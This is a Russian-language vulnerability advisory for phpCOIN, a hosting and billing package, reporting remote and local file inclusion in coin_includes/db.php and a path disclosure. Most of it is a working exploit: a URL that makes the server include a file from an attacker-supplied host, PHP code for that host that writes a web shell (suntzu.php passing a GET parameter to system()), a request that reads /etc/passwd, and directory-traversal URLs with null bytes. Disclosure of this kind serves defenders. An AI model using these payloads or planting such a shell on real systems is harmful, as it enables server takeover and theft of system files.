Описание:
Бесплатный пакет программ для веб-хостинга для работы с клиентами,
заказами, счетам, описаниями и возможностями помощи. phpCOIN использует
более 25000 человек в мире.
Уязвимости:
1) произвольное выполнение команд
Уязвимый код находиться в coin_includes/db.php на линиях 30-39:
....
# Determine Database and include proper class file
switch($_DBCFG['dbms'])
{
case "mysql":
require_once ($_CCFG['_PKG_PATH_DBSE'].'db_mysql.php');
break;
default:
require_once ($_CCFG['_PKG_PATH_DBSE'].'db_mysql.php');
break;
}
....
если register_globals и allow_url_fopen в положении on, вы можете
запустить любой удаленный файл. Например:
http://[target]/[path]/config.php?_CCFG[_PKG_PATH_DBSE]=http://[location]
На удаленной системе вы должны иметь файл со следующем кодом:
<?php
$fp=fopen("suntzu.php","w");
fputs($fp," echo 'Hi
Master';error_reporting(0);ini_set('max_execution_time',0);
system(\$HTTP_GET_VARS[cmd]);?>");
fclose($fp);
?>
Затем запускаем команду:
http://[target]/[path]/suntzu.php?cmd=cat%20/etc/passwd
Если register_globals в позиции on и magic_quotes_gpc off вы можете
запустить произвольный файл с помощью местных ресурсов. Например:
http://[target]/[path]/config.php?_CCFG[_PKG_PATH_DBSE]=../../../../../../../../etc/passwd%00
http://[target]/[path]/config.php?_CCFG[_PKG_PATH_DBSE]=../../../../../../../../script.php%00
2) раскрытие пути
http://[target]/[path]/config.php
'cause in coin_includes/db.php _CCFG['_PKG_PATH_DBSE'] не определен